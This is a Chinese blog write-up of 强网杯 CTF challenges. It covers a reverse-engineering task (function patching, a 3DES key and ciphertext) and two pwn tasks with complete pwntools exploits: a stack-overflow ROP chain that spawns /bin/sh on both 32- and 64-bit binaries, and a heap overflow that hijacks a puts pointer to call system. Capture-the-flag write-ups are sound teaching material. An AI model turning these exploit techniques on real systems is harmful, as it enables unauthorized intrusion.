强网杯 签到re 签到pwn 题解

强网杯给打自闭了  最后也是没有进到第一页 比较可惜   不过手速快  抢到了 先锋的三血 感觉还不错

不得不说强网的反作弊做的真心不错 re 都能每个人的flag 不一样 真心可以

然后强网的 pwn题竟然还有用队伍 token来搞  真的秀

先说re

即可得出flag

Just re

这个题目也算是签到题

首先要修复函数

虽然 上面xmmword_405018 变化了 但是 loc_404148并没有变化 所以 这里我们直接

写一个idc 脚本修复函数

auto i=0;
while(i<0x60)
{
   PatchByte(0x004018A0+i,Byte(0x00404148+i));
   i++;

}

然后 删除函数在创建 然后把函数里面的都变成code就好了

注意个do while  和while

上面也说了  loc_404148 是不变的 分析上面的代码和od动态分析可知

V11 是我们后两位当成转化成一个16进制值 当然  前8位也是 被转化成v3

那么我们这里可以把   

*(&xmmword_405018 + v20) = (v20 + v3) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20));

转化成

*(&xmmword_405018 + v20) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20))=(v20 + v3)

那么我们可以  又因为 v20 每次循环加1

这里我们可以利用这个来写一个脚本

for i in range(100):

if Dword(0x404148)^(Dword(0x405018)+i*0x1010101)&0xffffffff==Dword(0x404148+4)^((Dword(0x405018+4)+i*0x1010101)&0xffffffff)-1:

print hex(i),hex(Dword(0x404148)^Dword(0x405018)+(i*0x1010101)&0xffffffff)

print "yes"

可以得出结果

得出前10位

 感觉像3des

 

密文 是50 7c a9 e6 87 09 ce fa 20 d5 0d cf 90 bb 97 6c 90 90 f6 b0 7b a6 a4 e8

密钥 是AFSAFCEDYCXCXACNDFKDCQXC

 

拿到了flag

然后 pwn

pwn 我就直接 粘贴复制 我们负责人的的博客内容了

pwn 这两题也不算难  只不过第一天 我和负责人都卡死了 so 。。。 都没有思路

强网杯pwn__stkof  这个题有两个版本

一开始我们都没有get到这是什么意思

 后来才知道这个题目是    要兼容两个版本   。。。

先看保护

[*] '/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/1/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main

两个版本的main函数都一样

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Welcome to QWB");
  puts("We give you a little challenge, try to pwn it?");
  vul();
  return 0;
}

分析

开始的时候以为随便打通一个程序就行了,重复了好多遍然后每个本地都打通了最后还是不行,最后才隐隐约约想到一个脚本把两个程序都打通的想法,我开始做题的时候就发现了buf长度不一样,所以最后发现得需要一个脚本打通两个程序

关键函数

#32位的
int vul()
{
  char v1; // [esp+Ch] [ebp-10Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(&v1, 0, 256);
  read(0, &v1, 0x300u);
  return puts(&v1);
}
#64位的
__int64 vul()
{
  __int64 v0; // rdx
  char buf; // [rsp+0h] [rbp-110h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(&buf, 0LL, 256LL);
  read(0, &buf, 0x300uLL);
  return puts(&buf, &buf, v0);
}

关键点在于buf到各自栈底ebp(rbp)的长度

利用64位rbp的位置存储32位的可用关键ropgadget

32位:0x080a69f2 : add esp, 0x20 ; ret

64位:0x000000000040cd18 : add esp, 0x80 ; ret

使各自不受影响即可,

本地脚本

from pwn import *

io = process('./__stkof')
int_0x80_addr = 0x080495a3
bss = 0x080DAFC4
pop_dx_cx_bx_ret = 0x0806e9f1
pop_edi_ret=0x08049b1b
pop_rax_ret = 0x080a8af6
read=0x0806C8E0
syscall = 0x0000000000461645
bss_64_addr = 0x6a4e40
pop_rdi_64_ret = 0x4005f6
pop_rsi_64_ret = 0x405895
pop_rdx_64_ret = 0x43b9d5
pop_rax_64_ret = 0x43b97c
add_64_80sp_ret = 0x40cd17
add_32_20sp_ret = 0x080a69f2
pay='A'*0x110
pay+=p32(add_32_20sp_ret)
pay+='A'*4
pay+=p64(add_64_80sp_ret)
pay+='A'*0x14
pay+=p32(read) 
pay+=p32(pop_dx_cx_bx_ret) 
pay+=p32(0) 
pay+=p32(bss) 
pay+=p32(0x8)  
pay+=p32(pop_rax_ret) 
pay+=p32(0xb) 
pay+=p32(pop_dx_cx_bx_ret) 
pay+=p32(0)  
pay+=p32(0) 
pay+=p32(bss)
pay+=p32(int_0x80_addr)
pay+='A'*0x3c
pay+=p64(pop_rdi_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rsi_64_ret) 
pay+=p64(bss_64_addr) 
pay+=p64(pop_rdx_64_ret) 
pay+=p64(0x20) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(0) 
pay+=p64(syscall) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(0) 
pay+=p64(pop_rsi_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rdx_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(59) 
pay+=p64(pop_rdi_64_ret) 
pay+=p64(bss_64_addr) 
pay+=p64(syscall)
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()
io = process('./_stkof')
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()

不过当时 还有个坑爹的验证   有时候运气不好还会 让 在运行一次~

import hashlib,sys,socket,re
from struct import pack
from pwn import *
from struct import pack
sss=string.ascii_letters+string.digits
r = remote()
r.recv()
data=r.recv()
print data
skr_sha256 = re.findall('hashlib.sha256\(skr\).hexdigest\(\)=(.*?)\n', data)[0]
skr = re.findall('skr\[0:5\].encode\(\'hex\'\)=(.*?)\n', data)[0].decode('hex')

while True:
    for i in range(255, 1, -1):
        for j in range(255, 1, -1):
            for k in range(255, 1, -1):
                temp = skr + chr(i) + chr(j) + chr(k)
                _sha256 = hashlib.new('sha256')
                _sha256.update(temp)
                if _sha256.hexdigest() == skr_sha256:
                    print temp.encode('hex'),i,j,k
                    r.send(temp.encode('hex')+'\r\n')
                    print r.recv(1024)
                    r.sendline()

可能有其它简约的版本把 我们没有想起来~~

第二题  强网先锋-ap 

这可是真正的水题了 但是呢  负责人这个人思想出了问题   看见没有人做出来就感受到了压力 就划水到 没有血 再搞 ·~~

然后这个题目   其实真简单 我虽然不是主pwn手 但这个题 真的我上我也行

[*] '/media/psf/AllFiles/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/main/task_main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[~/Desktop/Link to qwb/main]$     

main

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(*&argc, argv, envp);
  welcome(*&argc);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 3 )
        break;
      Change();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 1337 )
        huangniu();
      else
LABEL_15:
        puts("something wrong!");
    }
    else if ( v3 == 1 )
    {
      Get();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      Open();
    }
  }
}

分析

简单来看是道菜单题,点进去看看

unsigned __int64 Get()
{
  _QWORD *v0; // rax
  int v1; // eax
  char size[12]; // [rsp+4h] [rbp-1Ch]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( number > 4 )
  {
    puts("We don't have too much tickets! Bye~");
    exit(0);
  }
  v0 = malloc(0x10uLL);
  *&size[4] = v0;
  v0[1] = &puts;
  puts("The length of my owner's name:");
  _isoc99_scanf("%d", size);
  getchar();
  buf = malloc(*size);
  puts("Give me my owner's name:");
  read(0, buf, (*size - 1));
  *(buf + (*size - 1)) = 0LL;
  **&size[4] = buf;
  v1 = number++;
  list[v1] = *&size[4];
  puts("OK! Give you a tickets of your own~");
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 Open()
{
  unsigned int v1; // [rsp+4h] [rbp-1Ch]
  void (__fastcall *v2)(_QWORD, unsigned int *); // [rsp+8h] [rbp-18h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to open?");
  _isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > number )
  {
    puts("sorry you can't open this tickets!");
  }
  else
  {
    v2 = list[v1][1];
    puts("I'm a magic tickets.I will tell you who is my owner!");
    v2(*list[v1], &v1);
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 Change()
{
  int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to change it's owner's name?");
  _isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 > number )
  {
    puts("sorry you can't change this tickets!");
  }
  else
  {
    buf = *list[v2];
    puts("The length of my owner's name:");
    _isoc99_scanf("%d", &v1);
    getchar();
    puts("Give me my owner's name:");
    read(0, buf, (v1 - 1));
    puts("OK! I know my owner's new name!");
  }
  return __readfsqword(0x28u) ^ v4;
}

关键函数

unsigned __int64 Change()
{
  int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to change it's owner's name?");
  _isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 > number )
  {
    puts("sorry you can't change this tickets!");
  }
  else
  {
    buf = *list[v2];
    puts("The length of my owner's name:");
    _isoc99_scanf("%d", &v1);
    getchar();
    puts("Give me my owner's name:");
    read(0, buf, (v1 - 1));
    puts("OK! I know my owner's new name!");
  }
  return __readfsqword(0x28u) ^ v4;
}

我们可以从这个关键函数看出漏洞利用点,可以执行堆溢出造成关键函数覆盖,把调用的puts覆盖成其他的

exp步骤

  1. 申请两个chunk
  2. 把第一个溢出填充到第二个的puts指针前
  3. open(0)来leak puts 的地址
  4. 然后计算libc的基址和system的地址
  5. 修改第一个覆盖第二个的两个指针
  6. 修改第二个chunk的puts指针为system地址,修改第二个chunk的name指针为/bin/sh的地址
  7. open(1)拿到shell

完整脚本

from pwn import *
context.log_level='debug'

io=process('./task_main')
#io=remote('49.4.15.125',30175)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def get(b,a):
    io.sendline('1')
    io.sendlineafter("The length of my owner's name:\n",str(b))
    io.sendafter("Give me my owner's name:\n",a)

def open(a):
    io.sendline('2')
    io.sendlineafter("Please tell me which tickets would you want to open?\n",str(a))

def change(a,b):
    io.sendline('3')
    io.sendlineafter("Please tell me which tickets would you want to change it's owner's name?\n",str(a))
    io.sendlineafter("The length of my owner's name:",str(len(b)+1))
    io.sendafter("Give me my owner's name:",b)

io.recv()
get(20,'aaaa')
get(20,'bbbb')
change(0,'a'*40)
io.recv()
open(0)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
log.success('puts_addr:'+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
bin_sh_addr=libc_base+libc.search('/bin/sh\x00').next()
system_addr=libc_base+libc.symbols['system']
pay='a'*0x10+p64(0)+p64(21)+p64(bin_sh_addr)+p64(system_addr)
change(0,pay)
open(1)
#gdb.attach(io)
#pause()
io.interactive()

这样就成功的get到flag

总结: 第一天自闭的不应该 起码能够做出那道水题 一开始我都把函数恢复出来了 但是 那个函数 由于这个比赛 我个人感觉很难 还以为是出题人自己实现的加密方式   然后 就没有做出来 这里也体现出了我密码学确实不扎实   3DES 这么简单的加密算法都没有做出来 后来如果不是学长问我一句卡在哪里了 我还是没有做出来  自闭·~~~ 

不过能混个证书确实开心鸭~~~~~~

微信扫码订阅
UP更新不错过~
关注
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: pwn shellcode是一种用于攻击计算机系统的代码,通常用于利用系统漏洞或弱点,获取系统权限或执行恶意操作。它可以被注入到受攻击的程序中,从而实现对系统的控制和操纵。pwn shellcode通常是由汇编语言编写的,具有高度的灵活性和可定制性,可以根据攻击者的需要进行修改和优化。 ### 回答2: pwn shellcode是指一种能够在攻击中用于利用漏洞的代码段,它通常被用于提供攻击者在受害计算机上执行任意代码的能力。在这种情况下,攻击者可以利用shellcode来连接回一个远程控制服务器,从而让其能够在受害计算机上执行各种恶意操作,例如删除文件、窃取密码等。 pwn shellcode的创建可以通过编写汇编代码实现,将其编译成二进制文件并将其注入到受害计算机的内存中。为了实现这一点,攻击者通常需要首先获得对计算机的控制权,通常是通过渗透网络防御来实现的。一旦攻击者获得了控制权,便可以利用shellcode来进一步扩大自己的攻击范围。 要成功使用pwn shellcode,攻击者需要了解受害计算机的架构和操作系统。这让攻击者能够编写针对特定系统的shellcode,从而能够利用计算机上的漏洞并获取执行任意代码的权限。 总之,pwn shellcode是一种常见的黑客攻击工具,可以用于获取系统权限、控制计算机、窃取数据等多种恶意行为。因此,为了保护自己的设备和数据,我们需要保持高度的警惕性并采取一系列有效的安全措施,以保障我们的信息和资产的安全。 ### 回答3: pwn shellcode是一种用于利用漏洞攻击的代码,它是攻击者在利用漏洞时使用的一种工具。pwn shellcode的目的是为了获取被攻击系统的控制权,可以实现任何攻击者想做的事情。pwn shellcode的特点是短小精悍,一般情况下只有几十个字节甚至更少。 pwn shellcode的实现方法:pwn shellcode通常使用的是汇编语言。攻击者先在本地编写好shellcode,将其转换为16进制的形式,再将其加密或编码,以便防止被杀毒软件或入侵检测系统检测出来。之后,攻击者通过漏洞将shellcode注入到被攻击系统中,使得系统执行该代码,从而掌控系统。 pwn shellcode的应用场景:pwn shellcode可以在渗透测试、安全研究等领域进行应用,其主要作用是掌控被攻击系统的控制权。攻击者可以通过pwn shellcode实现远程控制被攻击系统,操纵系统执行任意命令。因此,pwn shellcode也是黑客攻击中应用最广泛的技术之一。 pwn shellcode的防御方法:要想有效地防御pwn shellcode的攻击,需要使用多层防御策略。首先,需要加强系统的安全配置,及时更新补丁,以防止漏洞被攻击者利用。其次,要加强入侵检测功能,用于监测系统是否存在pwn shellcode攻击。最后,对于已经出现pwn shellcode攻击的系统,需要及时清除恶意代码,还原系统正常状态,以免进一步威胁系统安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pipixia233333

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值